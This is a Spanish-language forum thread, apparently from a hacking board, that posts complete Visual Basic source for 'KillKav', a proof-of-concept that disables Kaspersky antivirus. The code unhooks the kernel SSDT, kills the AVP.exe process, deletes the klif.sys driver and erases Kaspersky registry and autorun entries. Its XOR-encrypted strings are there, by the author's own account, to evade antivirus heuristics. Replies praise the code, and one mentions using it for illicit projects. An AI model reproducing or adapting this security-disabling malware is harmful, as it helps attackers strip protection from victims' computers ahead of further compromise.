Bueno como no he tenido tiempo para depurar el code lo dejo a su dispocisión, espero les sirva como ejemplo
[youtube=425,350]http://www.youtube.com/watch?v=dvVj7bNPqKY[/youtube]
Modulo1:
'---------------------------------------------------------------------------------------
' Project : KillKav [Kaspersky Killer]
' Date : 19/03/2009 18:10
' Author : XcryptOR
' Purpose : Kill Kaspersky Antivirus, Delete Klif.sys Driver & Related Registry Entries
' Versions : Kaspersky Antivirus 6,7,8, kaspersky 2009 y KIS 2009
' OS : Windows XP Sp1, Sp2, Sp3. Vista(it needs some changes but works)
' Bugs : When KLIM5.sys (Kaspersky NDIS Filter) Registry entry is delete the next reboot
' we can't access internet because the filter was not unistalled, the function
' Clean_TCPIP_Stack do the work, but i can't use when kill kaspersky only in the
' Next reboot, i believe that is not a problem to fix
' It can be improve very much it's only a POC
' Credits : Iceboy, Syntax_err, and all the chinese Crew of vbgood
'---------------------------------------------------------------------------------------
Private Sub Main()
EnablePrivilege SE_DEBUG_PRIVILEGE, True
FindNtdllExport
GetSSDT
Fuck_KAV
KillRegs
End Sub
Private Sub Fuck_KAV()
Dim hProcess As Long
Dim Pid As Long
Pid = GetPIDByName(Crypt("¹®¨ö½ ½")) ' Get The PID By Name in this case AVP.exe
hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, Pid)
If hProcess = 0 Then
hProcess = LzOpenProcess(PROCESS_ALL_ACCESS, Pid)
End If
Call MyTerminateProcess(hProcess, 0)
' strings are XOR crypted, to avoid some heuristics, the source is FUD: scan on NVT and virustotal
If DeleteDriver(Crypt(",,çç,,›,,±¶¼·¯«,,‹¡«¬½µëê,,œª±®½ª«,,"´±¾ö«¡«")) = True Then '\??\C:\Windows\System32\Drivers\Klif.sys
MsgBox Crypt("œª±®½ªø"´±¾ö«¡«ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½") & vbCrLf & _
Crypt("ùø"¹«¨½ª«³¡ø°¹ø«±¼·ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½øy"), _
vbExclamation, Crypt(""¹«¨½ª«³¡ø"±´´½ªøõø›·¼½¼øš¡ø€»ª¡¨¬·ª")
End If
End Sub
Modulo2:
Public Enum SYSTEM_INFORMATION_CLASS
SystemBasicInformation
SystemHandleInformation
End Enum
Public Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
ByVal pSystemInformation As Long, _
ByVal SystemInformationLength As Long, _
ByRef ReturnLength As Long) As Long
Public Type SYSTEM_HANDLE_TABLE_ENTRY_INFO
UniqueProcessId As Integer
CreatorBackTraceIndex As Integer
ObjectTypeIndex As Byte
HandleAttributes As Byte
HandleValue As Integer
pObject As Long
GrantedAccess As Long
End Type
Public Type SYSTEM_HANDLE_INFORMATION
NumberOfHandles As Long
Handles(1 To 1) As SYSTEM_HANDLE_TABLE_ENTRY_INFO
End Type
Public Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Public Const STATUS_ACCESS_DENIED = &HC0000022
Public Declare Function ZwWriteVirtualMemory Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal BaseAddress As Long, _
ByVal pBuffer As Long, _
ByVal NumberOfBytesToWrite As Long, _
ByRef NumberOfBytesWritten As Long) As Long
Public Declare Function ZwOpenProcess Lib "ntdll.dll" ( _
ByRef ProcessHandle As Long, _
ByVal AccessMask As Long, _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES, _
ByRef ClientId As CLIENT_ID) As Long
Public Type OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long
ObjectName As Long
Attributes As Long
SecurityDescriptor As Long
SecurityQualityOfService As Long
End Type
Public Type CLIENT_ID
UniqueProcess As Long
UniqueThread As Long
End Type
Public Const PROCESS_QUERY_INFORMATION As Long = &H400
Public Const STATUS_INVALID_CID As Long = &HC000000B
Public Declare Function ZwClose Lib "ntdll.dll" ( _
ByVal ObjectHandle As Long) As Long
Public Const ZwGetCurrentProcess As Long = -1
Public Const ZwGetCurrentThread As Long = -2
Public Const ZwCurrentProcess As Long = ZwGetCurrentProcess
Public Const ZwCurrentThread As Long = ZwGetCurrentThread
Public Declare Function ZwCreateJobObject Lib "ntdll.dll" ( _
ByRef JobHandle As Long, _
ByVal DesiredAccess As Long, _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long
Public Declare Function ZwAssignProcessToJobObject Lib "ntdll.dll" ( _
ByVal JobHandle As Long, _
ByVal ProcessHandle As Long) As Long
Public Declare Function ZwTerminateJobObject Lib "ntdll.dll" ( _
ByVal JobHandle As Long, _
ByVal ExitStatus As Long) As Long
Public Const OBJ_INHERIT = &H2
Public Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
Public Const SYNCHRONIZE As Long = &H100000
Public Const JOB_OBJECT_ALL_ACCESS As Long = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H1F
Public Const PROCESS_DUP_HANDLE As Long = &H40
Public Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Public Const THREAD_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H3FF)
Public Const OB_TYPE_PROCESS As Long = &H5
Public Type PROCESS_BASIC_INFORMATION
ExitStatus As Long
PebBaseAddress As Long
AffinityMask As Long
BasePriority As Long
UniqueProcessId As Long
InheritedFromUniqueProcessId As Long
End Type
Public Declare Function ZwDuplicateObject Lib "ntdll.dll" ( _
ByVal SourceProcessHandle As Long, _
ByVal SourceHandle As Long, _
ByVal TargetProcessHandle As Long, _
ByRef TargetHandle As Long, _
ByVal DesiredAccess As Long, _
ByVal HandleAttributes As Long, _
ByVal Options As Long) As Long
Public Const DUPLICATE_CLOSE_SOURCE = &H1
Public Const DUPLICATE_SAME_ACCESS = &H2
Public Const DUPLICATE_SAME_ATTRIBUTES = &H4
Public Declare Function ZwQueryInformationProcess Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal ProcessInformationClass As PROCESSINFOCLASS, _
ByVal ProcessInformation As Long, _
ByVal ProcessInformationLength As Long, _
ByRef ReturnLength As Long) As Long
Public Enum PROCESSINFOCLASS
ProcessBasicInformation
End Enum
Public Const STATUS_SUCCESS As Long = &H0
Public Const STATUS_INVALID_PARAMETER As Long = &HC000000D
Public Declare Function ZwTerminateProcess Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal ExitStatus As Long) As Long
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Public Type a_my
name As String
Pid As Long
tid As Long
Handle As Long
End Type
Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
ByVal lpModuleName As String) As Long
Public Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Long, _
ByVal lpProcName As String) As Long
Public Function NT_SUCCESS(ByVal Status As Long) As Boolean
NT_SUCCESS = (Status >= 0)
End Function
Public Sub CopyMemory(ByVal Dest As Long, ByVal Src As Long, ByVal cch As Long)
Dim Written As Long
Call ZwWriteVirtualMemory(ZwCurrentProcess, Dest, Src, cch, Written)
End Sub
Public Function IsItemInArray(ByVal dwItem, ByRef dwArray() As Long) As Boolean
Dim Index As Long
For Index = LBound(dwArray) To UBound(dwArray)
If (dwItem = dwArray(Index)) Then IsItemInArray = True: Exit Function
Next
IsItemInArray = False
End Function
Public Sub AddItemToArray(ByVal dwItem As Long, ByRef dwArray() As Long)
On Error GoTo ErrHdl
If (IsItemInArray(dwItem, dwArray)) Then Exit Sub
ReDim Preserve dwArray(UBound(dwArray) + 1)
dwArray(UBound(dwArray)) = dwItem
ErrHdl:
End Sub
Modulo3:
Private Declare Function SHDeleteKey Lib "shlwapi.dll" Alias "SHDeleteKeyA" ( _
ByVal hKey As Long, _
ByVal pszSubKey As String) As Long ' Delete a key and subkeys from registry
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
ByVal ulOptions As Long, _
ByVal samDesired As Long, _
phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" ( _
ByVal hKey As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" _
Alias "RegDeleteValueA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String) As Long
Private Const REG_SZ As Long = 1
Private Const REG_EXPAND_SZ As Long = 2
Private Const REG_BINARY As Long = 3
Private Const REG_DWORD As Long = 4
Private Const REG_MULTI_SZ As Long = 7
Private Const KEY_QUERY_VALUE As Long = &H1
Private Const KEY_ALL_ACCESS As Long = &H3F
Private Const REG_OPTION_NON_VOLATILE As Long = 0
Private Const HKEY_CLASSES_ROOT As Long = &H80000000
Private Const HKEY_CURRENT_CONFIG As Long = &H80000005
Private Const HKEY_CURRENT_USER As Long = &H80000001
Private Const HKEY_DYN_DATA As Long = &H80000006
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const HKEY_PERFORMANCE_DATA As Long = &H80000004
Private Const HKEY_USERS As Long = &H80000003
Private Declare Function ZwDeleteFile Lib "ntdll.dll" ( _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long
Private Declare Sub RtlInitUnicodeString Lib "ntdll.dll" ( _
ByVal DestinationString As Long, _
ByVal SourceString As Long)
Private Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As String
End Type
Private Type OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long
ObjectName As Long
Attributes As Long
SecurityDescriptor As Long
SecurityQualityOfService As Long
End Type
Private Const OBJ_CASE_INSENSITIVE As Long = &H40
Public Const SE_SHUTDOWN_PRIVILEGE As Long = 19
Public Const SE_DEBUG_PRIVILEGE As Long = 20
Private Const STATUS_NO_TOKEN As Long = &HC000007C
Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" ( _
ByVal Privilege As Long, _
ByVal Enable As Boolean, _
ByVal Client As Boolean, _
WasEnabled As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" ( _
ByVal lFlags As Long, _
ByVal lProcessID As Long) As Long
'---
Private Declare Function Process32First Lib "kernel32" ( _
ByVal hSnapShot As Long, _
uProcess As PROCESSENTRY32) As Long
'---
Private Declare Function Process32Next Lib "kernel32" ( _
ByVal hSnapShot As Long, _
uProcess As PROCESSENTRY32) As Long
'---
Private Const TH32CS_SNAPHEAPLIST As Long = &H1
Private Const TH32CS_SNAPPROCESS As Long = &H2
Private Const TH32CS_SNAPTHREAD As Long = &H4
Private Const TH32CS_SNAPMODULE As Long = &H8
Private Const TH32CS_SNAPALL As Long = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Private Const MAX_PATH As Long = 260
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Public Declare Function WinExec Lib "kernel32" ( _
ByVal lpCmdLine As String, _
ByVal nCmdShow As Long) As Long
Public Const SW_HIDE = 0
'========================================================================================
'================================ Get ID Process By Name ================================
'========================================================================================
Public Function GetPIDByName(ByVal PName As String) As Long
Dim hSnapShot As Long
Dim uProcess As PROCESSENTRY32
Dim t As Long
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
uProcess.dwSize = Len(uProcess)
PName = LCase(PName)
t = Process32First(hSnapShot, uProcess)
Do While t
t = InStr(1, uProcess.szExeFile, Chr(0))
If LCase(Left(uProcess.szExeFile, t - 1)) = PName Then
GetPIDByName = uProcess.th32ProcessID
Exit Function
End If
t = Process32Next(hSnapShot, uProcess)
Loop
End Function
'========================================================================================
'==================================== Get Privileges ====================================
'========================================================================================
Public Function EnablePrivilege(ByVal Privilege As Long, Enable As Boolean) As Boolean
Dim ntStatus As Long
Dim WasEnabled As Long
ntStatus = RtlAdjustPrivilege(Privilege, Enable, True, WasEnabled)
If ntStatus = STATUS_NO_TOKEN Then
ntStatus = RtlAdjustPrivilege(Privilege, Enable, False, WasEnabled)
End If
If ntStatus = 0 Then
EnablePrivilege = True
Else
EnablePrivilege = False
End If
End Function
'========================================================================================
'============================= Simple XOR String Encryption =============================
'========================================================================================
Public Function Crypt(txt As String) As String
On Error Resume Next
Dim x As Long
Dim PF As String
Dim PG As String
For x = 1 To Len(txt)
PF = Mid(txt, x, 1)
PG = Asc(PF)
Crypt = Crypt & Chr(PG Xor (216 Mod 255))
Next
End Function
'========================================================================================
'====================== Initialize Object Attributes Structure ==========================
'========================================================================================
Private Sub InicializarOA(ByRef InitializedAttributes As OBJECT_ATTRIBUTES, _
ByRef ObjectName As UNICODE_STRING, _
ByVal Attributes As Long, _
ByVal RootDirectory As Long, _
ByVal SecurityDescriptor As Long) 'inicializa las propiedades de OBJECT_ATTRIBUTES
With InitializedAttributes
.Length = LenB(InitializedAttributes)
.Attributes = Attributes
.ObjectName = VarPtr(ObjectName)
.RootDirectory = RootDirectory
.SecurityDescriptor = SecurityDescriptor
.SecurityQualityOfService = 0
End With
End Sub
'========================================================================================
'=============================== Delete KLIF.sys Driver =================================
'========================================================================================
Public Function DeleteDriver(StrDriverPath As String) As Boolean
On Error Resume Next
Dim OA As OBJECT_ATTRIBUTES
Dim UStrPath As UNICODE_STRING
RtlInitUnicodeString ByVal VarPtr(UStrPath), StrPtr(StrDriverPath) ' Path debe estar en formato de para APIs Nativas "\??\C:\Windows\System32\Drivers\Klif.sys"
InicializarOA OA, UStrPath, OBJ_CASE_INSENSITIVE, 0, 0
If NT_SUCCESS(ZwDeleteFile(OA)) Then
DeleteDriver = True
End If
End Function
'===================================================================================
'================== Delete Registry Entries of all Kasper Services =================
'===================================================================================
Public Sub KillRegs()
DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,™Žˆ") '"SYSTEM\CurrentControlSet\Services\AVP"
DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,³´é") '"SYSTEM\CurrentControlSet\Services\kl1"
DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,""'ž") '"SYSTEM\CurrentControlSet\Services\KLIF"
DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,³´±µí") '"SYSTEM\CurrentControlSet\Services\klim5"
DeleteAllKeys GetHKEY(3), Crypt("‹·¾¬¯¹ª½,,"¹«¨½ª«³¡"¹º") '"Software\KasperskyLab"
DeleteAllKeys GetHKEY(1), Crypt("›"‹'œ,,£¼¼êëèààèõìáí¹õéé¼éõºèîìõèèàèìཻ꾻í¥") '"CLSID\{dd230880-495a-11d1-b064-008048ec2fc5}" : Remove from Context Menu
DeleteKey Crypt("‹·¾¬¯¹ª½,,•±»ª·«·¾¬,,±¶¼·¯«,,›ªª½¶¬Ž½ª«±·¶,,Š¶"), Crypt("¹®¨"), 3 '"Software\Microsoft\Windows\CurrentVersion\Run", "avp"
End Sub
'===================================================================================
'========================= Eliminar el valor del Registro ==========================
'===================================================================================
Public Sub DeleteKey(sKey, nKey, RegKey)
On Error Resume Next
Dim RK As Long
Dim l As Long
Dim hKey As Long
l = RegOpenKeyEx(GetHKEY(RegKey), sKey, 0, KEY_ALL_ACCESS, hKey)
l = RegDeleteValue(hKey, nKey)
l = RegCloseKey(hKey)
End Sub
'===================================================================================
'===================== Delete Keys and Subkeys from Registry =======================
'===================================================================================
Private Sub DeleteAllKeys(hKey As String, key As String)
Dim lResult As Long
lResult = SHDeleteKey(hKey, key)
End Sub
Private Function GetHKEY(RegKey)
On Error Resume Next
Select Case RegKey
Case 1
GetHKEY = HKEY_CLASSES_ROOT
Case 2
GetHKEY = HKEY_CURRENT_USER
Case 3
GetHKEY = HKEY_LOCAL_MACHINE
End Select
End Function
'===================================================================================
'=================== Clean TCP/IP to unistall Klim5.sys NDIS =======================
'===================================================================================
Public Sub Clean_TCPIP_Stack()
WinExec "netsh int ip reset", SW_HIDE
DoEvents
WinExec "netsh winsock reset", SW_HIDE
End Sub
Modulo4:
Modulo4:
' -----------------------------------------------------------------------------------
' Module : mSSDTUnhook
' Author : Iceboy
' Purpose : Unhook APIs i used this great work of Iceboy to unhook Apis from Kaspersky
' -----------------------------------------------------------------------------------
Option Explicit
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
ByVal lpLibFileName As String) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
ByVal pDst As Long, _
ByVal pSrc As Long, _
ByVal ByteLen As Long)
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" ( _
ByVal lpString As Long) As Long
Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" ( _
ByVal lpLibFileName As Long, _
ByVal hFile As Long, _
ByVal dwFlags As Long) As Long
Private Declare Function FreeLibrary Lib "kernel32" ( _
ByVal hLibModule As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Long, _
ByVal lpProcName As String) As Long
Private Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
ByVal pSystemInformation As Long, _
ByVal SystemInformationLength As Long, _
ByVal pReturnLength As Long) As Long
Private Declare Function ZwSystemDebugControl Lib "ntdll.dll" ( _
ByVal ControlCode As SYSDBG_COMMAND, _
ByVal pInputBuffer As Long, _
ByVal InputBufferLength As Long, _
ByVal pOutputBuffer As Long, _
ByVal OutputBufferLength As Long, _
ByVal pReturnLength As Long) As Long
Public Enum SYSDBG_COMMAND
SysDbgReadVirtualMemory = 8
SysDbgWriteVirtualMemory = 9
End Enum
Private Enum SYSTEM_INFORMATION_CLASS
SystemModuleInformation = 11
End Enum
Private Type IMAGE_DOS_HEADER
e_magic As Integer
Unused(0 To 57) As Byte
e_lfanew As Long
End Type
Private Type IMAGE_NT_HEADER
Signature As Long
Unused1(0 To 15) As Byte
SizeOfOptionalHeader As Integer
Characteristics As Integer
Magic As Integer
Unused3(0 To 25) As Byte
ImageBase As Long
Unused4(0 To 23) As Byte
SizeOfImage As Long
Unused5(0 To 31) As Byte
NumberOfRvaAndSizes As Long
ExportTableRva As Long
ExportTableSize As Long
Unused6(0 To 31) As Byte
RelocationTableRva As Long
RelocationTableSize As Long
End Type
Private Type IMAGE_EXPORT_DIRECTORY
Unused(0 To 11) As Byte
name As Long
Base As Long
NumberOfFunctions As Long
NumberOfNames As Long
AddressOfFunctions As Long
AddressOfNames As Long
AddressOfOrdinals As Long
End Type
Private Type IMAGE_BASE_RELOCATION
VirtualAddress As Long
SizeOfBlock As Long
End Type
Private Type IMAGE_FIXED_ENTRY
Offset As Long
Type As Long
End Type
Private Type ModuleInformation
Reserved(7) As Byte
Base As Long
Size As Long
Flags As Long
Index As Integer
Unknown As Integer
Loadcount As Integer
ModuleNameOffset As Integer
ImageName(250) As long
End Type
Private Type MEMORY_CHUNKS
Address As Long
pData As Long
Length As Long
End Type
Private Const DONT_RESOLVE_DLL_REFERENCES As Long = 1
Private Const IMAGE_REL_BASED_HIGHLOW As Long = 3
Private Const IMAGE_FILE_RELOCS_STRIPPED As Integer = 1
Dim FuncName(1023) As String
Dim Address1(1023) As Long
Dim Address2(1023) As Long
Dim ModuleName(1023) As String
Dim dwServices As Long
Dim dwKernelBase As Long
Dim dwKiServiceTable As Long
Public Sub RecoverSSDT(ByVal num As Long)
Address2(num) = Address1(num)
End Sub
Public Sub WriteSSDT()
Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
With QueryBuff
.Address = dwKiServiceTable + dwKernelBase
.pData = VarPtr(Address2(0))
.Length = dwServices * 4
ZwSystemDebugControl SysDbgWriteVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
If ReturnLength <> .Length Then MsgBox "SSDT Cannot Write", vbCritical
End With
End Sub
Private Function ModuleInformationFromPtr(ByVal pmi As Long) As ModuleInformation
CopyMemory VarPtr(ModuleInformationFromPtr), pmi, 284
End Function
Private Function BaseRelocationFromPtr(ByVal pbr As Long) As IMAGE_BASE_RELOCATION
CopyMemory VarPtr(BaseRelocationFromPtr), pbr, 8
End Function
Private Function FixedEntryFromPtr(ByVal pfe As Long) As IMAGE_FIXED_ENTRY
Dim tmp As Integer
CopyMemory VarPtr(tmp), pfe, 2
FixedEntryFromPtr.Offset = tmp And 4095
CopyMemory VarPtr(tmp), pfe + 1, 1
FixedEntryFromPtr.Type = (tmp And 240) \ 16
End Function
Private Function DwordFromPtr(ByVal pdword As Long) As Long
CopyMemory VarPtr(DwordFromPtr), pdword, 4
End Function
Private Function WordFromPtr(ByVal pword As Long) As Long
CopyMemory VarPtr(WordFromPtr), pword, 2
End Function
Private Function FindKiServiceTable(ByVal hModule As Long, ByVal dwKSDT As Long) As Long
Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
Dim pbr As Long, pfe As Long, bFirstChunk As Boolean, I As Long, forto As Long
Dim dwFixups As Long, dwPointerRva As Long, dwPointsToRva As Long
CopyMemory VarPtr(DosHeader), hModule, 64
With DosHeader
Assert .e_magic = &H5A4D
CopyMemory VarPtr(NtHeader), hModule + .e_lfanew, 168
End With
bFirstChunk = True
Do While bFirstChunk Or CBool(BaseRelocationFromPtr(pbr).VirtualAddress)
bFirstChunk = False
pfe = pbr + 8
forto = (BaseRelocationFromPtr(pbr).SizeOfBlock - 8) \ 2 - 1
For I = 0 To forto
If FixedEntryFromPtr(pfe).Type = IMAGE_REL_BASED_HIGHLOW Then
dwFixups = dwFixups + 1
dwPointerRva = BaseRelocationFromPtr(pbr).VirtualAddress + FixedEntryFromPtr(pfe).Offset
dwPointsToRva = DwordFromPtr(hModule + dwPointerRva) - NtHeader.ImageBase
If dwPointsToRva = dwKSDT Then
If WordFromPtr(hModule + dwPointerRva - 2) = &H5C7 Then
FindKiServiceTable = DwordFromPtr(hModule + dwPointerRva + 4) - NtHeader.ImageBase
Exit Function
End If
End If
End If
pfe = pfe + 2
Next
pbr = pbr + BaseRelocationFromPtr(pbr).SizeOfBlock
Loop
End Function
Private Function AddZero(ByVal Text As String, ByVal Length As Long) As String
AddZero = String(Length - Len(Text), "0") & Text
End Function
Public Sub GetSSDT()
On Error Resume Next
Dim I As Long, j As Long, Length As Long, Buff() As Byte, pKernelName As Long, hKernel As Long
Dim dwKSDT As Long, pService As Long, DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
dwServices = 0
ZwQuerySystemInformation SystemModuleInformation, 0, 0, VarPtr(Length)
ReDim Buff(Length - 1)
ZwQuerySystemInformation SystemModuleInformation, VarPtr(Buff(0)), Length, 0
With ModuleInformationFromPtr(VarPtr(Buff(4)))
dwKernelBase = .Base
pKernelName = VarPtr(.ImageName(0)) + .ModuleNameOffset
End With
hKernel = LoadLibraryEx(pKernelName, 0, DONT_RESOLVE_DLL_REFERENCES)
dwKSDT = GetProcAddress(hKernel, "KeServiceDescriptorTable")
Assert dwKSDT <> 0
dwKSDT = dwKSDT - hKernel
dwKiServiceTable = FindKiServiceTable(hKernel, dwKSDT)
Assert dwKiServiceTable <> 0
CopyMemory VarPtr(DosHeader), hKernel, 64
With DosHeader
Assert .e_magic = &H5A4D
CopyMemory VarPtr(NtHeader), hKernel + .e_lfanew, 168
End With
With NtHeader
Assert .Signature = &H4550
Assert .Magic = &H10B
End With
pService = hKernel + dwKiServiceTable
Do While DwordFromPtr(pService) - NtHeader.ImageBase < NtHeader.SizeOfImage
Address1(dwServices) = DwordFromPtr(pService) - NtHeader.ImageBase + dwKernelBase
pService = pService + 4
dwServices = dwServices + 1
Loop
FreeLibrary hKernel
Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
With QueryBuff
.Address = dwKernelBase + dwKiServiceTable
.pData = VarPtr(Address2(0))
.Length = dwServices * 4
End With
ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
Length = DwordFromPtr(VarPtr(Buff(0)))
For I = 0 To Length - 1
With ModuleInformationFromPtr(VarPtr(Buff(I * 284 + 4)))
For j = 0 To dwServices - 1
If Address2(j) >= .Base And Address2(j) < .Base + .Size Then
ModuleName(j) = StringFromPtr(VarPtr(.ImageName(0)))
End If
Next
End With
Next
For I = 0 To dwServices - 1
If Address1(I) <> Address2(I) Then
RecoverSSDT I
WriteSSDT
End If
Next
End Sub
Private Function StringFromPtr(ByVal pString As Long) As String
Dim Buff() As Byte, Length As Long
Length = lstrlen(pString)
If Length = 0 Then Exit Function
ReDim Buff(Length - 1)
CopyMemory VarPtr(Buff(0)), pString, Length
StringFromPtr = StrConv(Buff, vbUnicode)
End Function
Public Sub FindNtdllExport()
Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER, ExportDirectory As IMAGE_EXPORT_DIRECTORY
Dim I As Long, hNtdll As Long, FuncRVA() As Long, NameRVA() As Long, Ordinal() As Integer, ThisName As String, ThisNumber As Long
hNtdll = GetModuleHandle("ntdll.dll")
Assert hNtdll <> 0
CopyMemory VarPtr(DosHeader), hNtdll, 64
With DosHeader
Assert .e_magic = &H5A4D
CopyMemory VarPtr(NtHeader), hNtdll + .e_lfanew, 128
End With
With NtHeader
Assert .Signature = &H4550
Assert .Magic = &H10B
Assert .SizeOfOptionalHeader >= 104
Assert .NumberOfRvaAndSizes >= 1
Assert .ExportTableSize >= 40
CopyMemory VarPtr(ExportDirectory), hNtdll + .ExportTableRva, 40
End With
With ExportDirectory
Assert StringFromPtr(.name + hNtdll) = "ntdll.dll"
ReDim FuncRVA(.NumberOfFunctions - .Base), NameRVA(.NumberOfNames - 1), Ordinal(.NumberOfNames - 1)
CopyMemory VarPtr(FuncRVA(0)), hNtdll + .AddressOfFunctions + .Base * 4, (.NumberOfFunctions - .Base) * 4
CopyMemory VarPtr(NameRVA(0)), hNtdll + .AddressOfNames, .NumberOfNames * 4
CopyMemory VarPtr(Ordinal(0)), hNtdll + .AddressOfOrdinals, .NumberOfNames * 2
For I = 0 To .NumberOfNames - 1
ThisName = StringFromPtr(hNtdll + NameRVA(I))
Next
End With
End Sub
Public Function ReadMemory(ByVal Address As Long, ByVal Length As Long) As Byte()
Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long, Buff() As Byte
ReDim Buff(Length - 1)
With QueryBuff
.Address = Address
.pData = VarPtr(Buff(0))
.Length = Length
End With
ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
If ReturnLength = Length Then ReadMemory = Buff
End Function
Public Sub Assert(ByVal bBool As Boolean)
If Not bBool Then
MsgBox "Assertion Failed!", vbCritical, "Error"
End
End If
End Sub
:o Buen trabajo ;)
Solo una duda... necesita reinicio? :-\
che esta muy bueno, me intereso mucho el tema del des-hookeo de las SSDT, cosa que solo se podia lograr con programas como el IceSword o similes.
ahora habria que probarlo. yo sinceramente no uso KAV porque me parece malo, pero en fin, esta bueno meter el code este para proyectos no debidos :P
en fin, gracias por el aporte!
saludos
Cita de: Karcrack en 13 Abril 2009, 22:52 PM
:o Buen trabajo ;)
Solo una duda... necesita reinicio? :-\
No para nada, lo probe en win XP sp3 y funciona muy bien
no tengo para probarlo, pero confio en que anda :), y por fin alguien que postea prolijo con las etiquetas de visual basic...
saludos.
Pero esto solo repara la tabla SSDT, la Shadow SSDT no la repara y el driver del KAV tiene hooks hay....
Buen código ;) felicidades
Agregado a mis marcadores ;-)
Cita de: Hendrix en 14 Abril 2009, 14:33 PM
Pero esto solo repara la tabla SSDT, la Shadow SSDT no la repara y el driver del KAV tiene hooks hay....
Buen código ;) felicidades
gracias Hendrix, no se que apis tenga en la shadow SSDT pero al limpiar la SSDT y terminar el proceso AVP.exe el driver se puede eliminar y kaspersky queda deshabilitado, no mas defensa proactiva
Interesante code :P
Saludos
P.D: no debería de ir a "Análisis y diseño de malware"?
Al ejecutarse no muestra un cartelito avisando que el programa intenta obteber privilegios de depuracion?
Cita de: Distorsion en 14 Abril 2009, 21:34 PM
Al ejecutarse no muestra un cartelito avisando que el programa intenta obteber privilegios de depuracion?
no se si tal vez vieras el video...., bueno esta probado en mi VM, antes deberias testearlo y despues si presenta algun error o mensaje comentarlo para depurarlo, no cres?
me quito el sombrero, excelente code
Era una pregunta retorica, bueno en el foro no se aprecia bien. El Kis alerta de la escalada de privilegios a depuracion y muestra un cartelito bien gordo.
Saludos.
es solo un Proof Of Concept, como dije se puede optimizar muchisimo, por ejemplo para que trabaje en vista creo que hay que tener en cuenta la ASLR, y que el driver de filtrado NDIS que en XP se llama klim5 en vista se llama klim6, etc... cosas por el estilo, como mencione es solo un POC.
saludos no lo he probado con el KIS pero si ya tengo tiempo o alguien lo hace seria genial.
saludos ;D
Este codigo es una reliquia; mis felicidades por tu trabajo, te lo meceres!
SALUDOS XcryptOR
;-)
Cita de: Distorsion en 14 Abril 2009, 21:57 PM
Era una pregunta retorica, bueno en el foro no se aprecia bien. El Kis alerta de la escalada de privilegios a depuracion y muestra un cartelito bien gordo.
Saludos.
